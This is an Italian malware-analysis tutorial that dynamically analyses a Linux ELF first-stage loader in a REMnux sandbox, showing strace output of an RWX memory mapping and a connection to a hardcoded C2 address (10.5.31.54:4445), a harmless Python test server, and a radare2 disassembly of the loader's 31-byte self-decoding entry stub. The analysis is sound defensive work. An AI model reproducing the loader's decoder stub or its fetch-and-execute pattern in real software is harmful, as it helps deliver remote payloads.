Malware Analysis: Guida all’Analisi Dinamica di un Malware Linux (ELF)

L’analisi dinamica di base di un eseguibile ELF (Executable and Linkable Format, il formato standard per eseguibili, librerie e file oggetto su Linux e molti altri sistemi Unix-like) consiste nell’eseguire il file in un ambiente controllato e sicuro (come una sandbox o una macchina virtuale) per osservare il suo comportamento effettivo durante l’esecuzione.

A differenza dell’analisi statica (che esamina il codice senza eseguirlo), quella dinamica si concentra su:

Interazioni con il sistema operativo: Si monitorano le chiamate di sistema (syscall) che il programma effettua. Ad esempio, si osserva se tenta di leggere, scrivere o cancellare file specifici, quali permessi richiede, o se cerca di accedere a risorse protette.
Attività di rete: Si controlla se l’eseguibile cerca di stabilire connessioni di rete, verso quali indirizzi IP o domini, e che tipo di dati tenta di inviare o ricevere.
Modifiche al file system: Si registra qualsiasi creazione, modifica o eliminazione di file e directory sul sistema.
Processi creati: Si osserva se il programma avvia altri processi o “figli”.
Consumo di risorse: Si può monitorare l’uso di CPU, memoria e altre risorse.

Per l’analisi dinamica di questo malware ELF, verrà utilizzata una sandbox isolata basata su REMnux, una distribuzione Linux specializzata per il Reverse Engineering e l’analisi di malware. La VM REMnux è stata eseguita all’interno di VirtualBox, completamente isolata dalla rete principale, in modo da evitare qualsiasi rischio di infezione o compromissione dell’host. Questo setup consente di osservare in sicurezza il comportamento del malware, tracciando chiamate di sistema, attività di rete e interazioni con librerie di sistema, senza che possa avere effetti sull’ambiente reale.

“everything is open source if you can reverse engineer” HCF

Step Fondamentali dell’Analisi Dinamica di Base

Ambiente di Lavoro

Sandbox isolata

Una sandbox isolata è un ambiente virtuale controllato in cui eseguire malware senza rischiare di infettare il sistema reale. Consente di osservare il comportamento del malware (chiamate di sistema, connessioni di rete, file modificati, processi generati) in sicurezza, senza impatto sull’host principale. Le sandbox possono essere virtual machine, container o sistemi emulati, e spesso forniscono strumenti per tracciare attività di rete, filesystem e memoria.
Se non sai come configurarla, segui la nostra guida QUI!

REMnux

REMnux è una distribuzione Linux preconfigurata per l’analisi di malware. Include strumenti per il Reverse Engineering, l’analisi statica e dinamica, network monitoring e sandboxing. Offre già configurati strumenti come radare2, strace, ltrace, sysdig, emulatori di servizi di rete (INetSim) e debugger (gdb). È progettata per facilitare analisi sicure e ripetibili di malware ELF, PE e script malevoli in un ambiente isolato e replicabile.

Sito Ufficiale REMnux: https://remnux.org/

Interpretazione del comportamento di strace

strace

strace traccia le chiamate di sistema (syscalls) di un processo come mmap, socket, connect, read, nanosleep e capire il comportamento a livello kernel.

5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b è il nome/hash SHA256 del nostro ELF.

mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f8647bc2000

Il processo mappa una pagina in memoria con permessi RWX: comportamento tipico, per esempio, di un loader che vuole scrivere codice e poi eseguirlo.

La chiamata mmap che richiede permessi PROT_READ|PROT_WRITE|PROT_EXEC (RWX) è una “red flag” critica. I sistemi operativi moderni applicano una mitigazione di sicurezza chiamata W^X (Write XOR Execute), la quale impone che una pagina di memoria possa essere o scrivibile o eseguibile (X), ma mai entrambe contemporaneamente. La richiesta esplicita di permessi RWX è un comportamento tipico dei loader malevoli, poiché hanno bisogno di scrivere il payload (stage2) nella memoria e, subito dopo, eseguirlo da quella stessa posizione.

socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3 / connect(... 10.5.31.54:4445) = -1 ENETUNREACH

L’eseguibile sta tentando di contattare un C2 remoto verso l’IP:porta 10.5.31.54:4445 con una retry loop ogni 5 secondi. Se il C2 non è raggiungibile esce dopo alcuni tentativi (exit(1)).

Il C2 (Command and Control) di un malware è l’infrastruttura (spesso un server o una rete di server) che un attaccante utilizza per comunicare e inviare comandi da remoto ai dispositivi infettati.

Nota su ltrace e perché non ha riportato simboli

ltrace

ltrace traccia le chiamate a librerie dinamiche (es. libc) per vedere chiamate di alto livello.

remnux@remnux:~$ ltrace ./5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b

Couldn't find .dynsym or .dynstr in "/proc/1652/exe"

Output: Couldn't find .dynsym or .dynstr in "/proc/1652/exe"

Il binario è probabilmente statico, stripped o packato (nessuna tabella dinamica). ltrace dipende dalla presenza di tavole dinamiche per intercettare chiamate a libc — se mancano, non riesce a risolvere i simboli. Questo è coerente con un loader minimalista scritto per essere piccolo e senza import table visibili.

Interpretazione del comportamento di sysdig

sysdig

sysdig è uno strumento di analisi che cattura eventi kernel/attività di processo in tempo reale con informazioni di contesto.

sysdig conferma il comportamento di retry della connect e il nanosleep di 5s tra i vari tentativi, e documenta il processo che esce con status 1. Conferma ciò che si è visto con strace ma in modalità kernel/event stream: l’eseguibile ELF è “silenzioso”, non fa molte altre syscalls, riprova la connessione e poi esce se fallisce.

Ambiente di test con INetSim + server Python di test

INetSim

INetSim è una suite per simulare servizi di rete (C2, HTTP, SMTP, etc.) in ambiente isolato; durante l’analisi verrà utilizzato per fornire un servizio fittizio sulla porta 4445 in modo da osservare come il potenziale malware reagisce quando il C2 è disponibile.

Per intercettare la connessione del malware, l’ambiente di analisi è stato configurato in modo strategico. Avendo osservato tramite strace che il campione tenta di contattare l’IP hardcoded 10.5.31.54 , alla macchina virtuale REMnux è stato assegnato staticamente proprio quell’indirizzo IP. Questa tecnica, nota come sinkholing, forza il malware a connettersi ai servizi di simulazione credendo di comunicare con il suo server C2

Configurazione di INetSim:

sudo vi /etc/inetsim/inetsim.conf

start_service dummy_tcp

dummy_bind_port 4445

Viene avviato INetSim e associato (bind) all’indirizzo IP 10.5.31.54, che corrisponde all’interfaccia di rete della VM REMnux. Questa configurazione attiva un servizio TCP fittizio (dummy) sulla porta 4445.

sudo inetsim --bind-address 10.5.31.54

INetSim 1.3.2 (2020-05-19) by Matthias Eckert & Thomas Hungenberg

Using log directory:      /var/log/inetsim/

Using data directory:     /var/lib/inetsim/

Using report directory:   /var/log/inetsim/report/

Using configuration file: /etc/inetsim/inetsim.conf

Parsing configuration file.

Configuration file parsed successfully.

=== INetSim main process started (PID 2335) ===

Session ID:     2335

Listening on:   10.5.31.54

Real Date/Time: 2025-10-27 10:43:59

Fake Date/Time: 2025-10-27 10:43:59 (Delta: 0 seconds)

 Forking services...

  * https_443_tcp - started (PID 2339)

  * dummy_4445_tcp - started (PID 2346)

  * ftp_21_tcp - started (PID 2344)

  * smtp_25_tcp - started (PID 2340)

  * pop3s_995_tcp - started (PID 2343)

  * ftps_990_tcp - started (PID 2345)

  * smtps_465_tcp - started (PID 2341)

  * pop3_110_tcp - started (PID 2342)

 done.

Simulation running.

strace ./5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b

execve("./5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b", ["./5eb69f3b46a0df45f5e4f2c0beede4"...], 0x7ffea3fe1f60 /* 48 vars */) = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f2cad663000

socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

connect(3, {sa_family=AF_INET, sin_port=htons(4445), sin_addr=inet_addr("10.5.31.54")}, 16) = 0

read(3,

L’eseguibile si connette al servizio dummy (fittizio) di INetSim e tenta di scaricare un payload successivo (un ulteriore stage) attraverso un’operazione di lettura (read)

Server Python (socket)

Nel test a seguire si utilizzerà un semplice server TCP custom per inviare un payload di test controllato di 126 byte all’eseguibile connesso, al fine di osservarne il comportamento.

#!/usr/bin/env python3
# serve_safe_126.py
# Ascolta su IP:porta 10.5.31.54:4445 e invia esattamente 126 byte innocui quando un client si connette.

import socket
import sys

BIND_IP = "10.5.31.54"
BIND_PORT = 4445

# Payload di test: header riconoscibile + padding di 'A' fino a 126 byte.
HEADER = b"TEST_SAFE_PAYLOAD\n"         # es. 17 byte
PADLEN = 126 - len(HEADER)
if PADLEN < 0:
    print("Header troppo lungo, riduci HEADER", file=sys.stderr)
    sys.exit(1)
DATA = HEADER + (b"A" * PADLEN)

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((BIND_IP, BIND_PORT))
    s.listen(5)
    print(f"Serving {len(DATA)} bytes on {BIND_IP}:{BIND_PORT}. Ctrl-C per stop.")
    try:
        while True:
            conn, addr = s.accept()
            print("Connessione da", addr)
            try:
                conn.sendall(DATA)
                # forza la chiusura della scrittura per simulare comportamento di server "one-shot"
                try:
                    conn.shutdown(socket.SHUT_WR)
                except OSError:
                    pass
            except BrokenPipeError:
                print("Broken pipe: client ha chiuso prima", file=sys.stderr)
            finally:
                conn.close()
                print("Inviati", len(DATA), "byte e connessione chiusa")
    except KeyboardInterrupt:
        print("Interrotto dall'utente")
    finally:
        s.close()

if __name__ == "__main__":
    main()

sudo ./serve_safe_126.py
Serving 126 bytes on 10.5.31.54:4445. Ctrl-C per stop.
Connessione da ('10.5.31.54', 36328)
Inviati 126 byte e connessione chiusa

strace ./5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b 
execve("./5eb69f3b46a0df45f5e4f2c0beede4a86f9aace3870dd8db28bc6521e69f363b", ["./5eb69f3b46a0df45f5e4f2c0beede4"...], 0x7ffeae994d50 /* 48 vars */) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f522b42b000
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4445), sin_addr=inet_addr("10.5.31.54")}, 16) = 0
read(3, "TEST_SAFE_PAYLOAD\nAAAAAAAAAAAAAA"..., 126) = 126
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

Risultati del test con payload di 126 byte

L’analisi del comportamento del loader rivela una sequenza chiara che indica il suo tentativo di esecuzione di un payload:

Allocazione Memoria Eseguibile: Per prima cosa, il processo utilizza la chiamata mmap per allocare un nuovo blocco di memoria. Fatto cruciale, richiede permessi di Lettura, Scrittura ed Esecuzione (RWX). Questo è un forte indicatore che il programma si sta preparando a scrivere del codice in questa area per poi eseguirlo.
Ricezione del Payload: Subito dopo, la chiamata read riceve con successo l’intero payload di test (126 byte) inviato dal nostro server.
Tentativo di Esecuzione e Crash: Immediatamente dopo aver ricevuto i dati, il programma va in crash, generando un errore SIGSEGV (Segmentation Fault).

Questo crash è la diretta conseguenza del fatto che il loader ha tentato di eseguire il payload appena ricevuto (come preannunciato dalla mmap RWX). Dato che il payload consisteva in 126

caratteri ‘A’ e non in codice macchina valido, il processore non ha potuto interpretare le istruzioni, causando un accesso invalido alla memoria.

Conclusioni

I risultati dell’analisi dinamica indicano che l’eseguibile ELF è un loader di primo stadio (stage1). Il suo modus operandi consiste nell’allocare una regione di memoria con permessi di Lettura, Scrittura ed Esecuzione (RWX), per poi tentare di stabilire una connessione a un server Command and Control (C2) sulla porta TCP 4445.

Intercettando questa connessione con un server custom e inviando un payload di test (126 byte arbitrari), abbiamo osservato che il processo legge correttamente i dati, ma va immediatamente in crash generando un SIGSEGV.

Il loader si aspetta di ricevere uno stage2 (payload finale) con un formato molto preciso, magari cifrato, offuscato o strutturato in modo proprietario.

Nel prossimo articolo si affronterà l’analisi statica avanzata dell’eseguibile ELF. Si capirà anche perché si è scelto di inviare all’eseguibile esattamente 126 byte.

[0x00400078]> afl

0x00400078    1 31           entry0

[0x00400078]> s entry0

[0x00400078]> pdf

0x00400078      bfbd1c306e     mov edi, 0x6e301cbd

0x0040007d      dbdc           fcmovnu st(0), st(4)

0x0040007f      d97424f4       fnstenv [rsp - 0xc]

0x00400083      5a             pop rdx

0x00400084      29c9           sub ecx, ecx                ; arg4

0x00400086      b121           mov cl, 0x21                ; '!' ; 33

0x00400088      83eafc         sub edx, 0xfffffffc

0x0040008b      317a10         xor dword [rdx + 0x10], edi

0x0040008e      037a10         add edi, dword [rdx + 0x10]

0x00400091      5f             pop rdi

0x00400092      e9785f6078     jmp 0x78a0600f

[0x00400078]>

Si partirà dall’analisi dei soli 31 byte a disposizione, forniti dal disassemblatore radare2. L’estrema compattezza di questo codice, unita a tecniche di offuscamento (come l’uso di fnstenv per ottenere l’instruction pointer e le successive operazioni xor), suggerisce che la sua unica funzione sia quella di auto-riscrivere o decodificare in memoria il loader vero e proprio prima di trasferirvi l’esecuzione.

Autore

HCF: hacker artist, reverse engineer, battle programmer e malware & cybersecurity analyst.
blog: https://spaghetti-hacker.blogfree.net/
Hacker Game: https://entermyworld.substack.com/

Halt and Catch Fire, indicato con la sigla mnemonica di HCF, è un’istruzione fittizia del linguaggio assembly, intesa prevalentemente come uno scherzo, che è stata usata per definire istruzioni solitamente non documentate che portano la CPU in uno stato da cui può essere fatta uscire solo con un reset; solitamente con la sigla HCF si descrive una o più istruzioni non documentate presenti in molte architetture e utilizzate per poter effettuare agevolmente particolari test durante lo sviluppo dei prodotti, ma che non sono da utilizzarsi nella normale operatività.

Il “Reverse Engineering” è l’esigenza, la pretesa da parte degli utenti di poter aprire, esplorare, modificare la tecnologia, secondo le proprie esigenze, ampliare e quindi sviluppare nuove caratteristiche per adattare ogni cosa al quadro tecnologico, che è sempre in evoluzione.

flag{we_beleaf_in_your_re_future}

8BitSecurity